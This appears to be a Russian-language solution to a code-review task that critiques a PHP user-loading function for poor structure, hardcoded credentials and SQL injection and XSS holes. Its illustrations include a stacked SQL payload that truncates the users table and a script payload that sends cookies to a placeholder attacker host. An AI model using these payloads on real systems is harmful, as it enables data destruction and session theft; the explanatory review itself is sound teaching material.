Решение задания 2
- Функция
load_users_data()содержит как уровень бизнес-логики, так и persistence-уровень:- Обработка входных данных (разделение аргумента
$user_idsна массив идентификаторов). - Создание подключения к базе данных (
mysqli_connect()). - Формирование SQL-запроса и его выполнение.
- Обработка результов выполнения запросов.
- Обработка входных данных (разделение аргумента
- Нет проверки типа переменной, передаваемой в качестве аргумента.
- Хранение credentials для доступа к хранилищу данных непосредственно в коде.
- Создание подключения внутри конструкции
foreach: в рамках каждой итерации создается соединение и разрывается в конце. - Избыточное использование конструкции
whileв рамках SQL-запроса, который возвразается ровно один объект с информацией о конкретном пользователе.
- Данная функция подвержена следующим уязвимостям:
- SQL-инъекция.
- XSS.
Отсутствие проверки значения переменной $user_id на наличие данной уязвимости.
Пусть $user_ids содержит следующую информацию: "1,2,3,4,-1 or 1=1".
В таком случае SQL-запрос, выполняющий запрос на поиск данных по последнему идентификатору, будет выглядеть так:
SELECT * FROM users WHERE id=-1 or 1=1;
Такой запрос возвращает содержимое всей таблицы Users.
Пусть $user_ids содержит следующую информацию: "1,2,3,4,or 1=1; truncate table users;".
В таком случае SQL-запрос, выполняющий запрос на поиск данных по последнему идентификатору, будет выглядеть так:
SELECT * FROM users WHERE id=-1 or 1=1; truncate table users;
Такой запрос может полностью очистить таблицу Users.
Хотя в данном случае, возможно,
mysqli_query()не сможет выполнить два запроса в рамках одного, но все равно уязвимость присутствует.
Отсутствие проверки и экранирования специальных символов, которые могут содержаться в переменной $user_id и которые могут интерпретироваться браузером, как HTML-сущности.
Если $user_ids будет содержать следующую информацию
<script>document.location="http://attackerhost.example/cookiesteal?"+document.cookie</script>
, то без применения экранирования тега <script> такой код отправит cookie-файлы на удаленный сервер злоумышленника.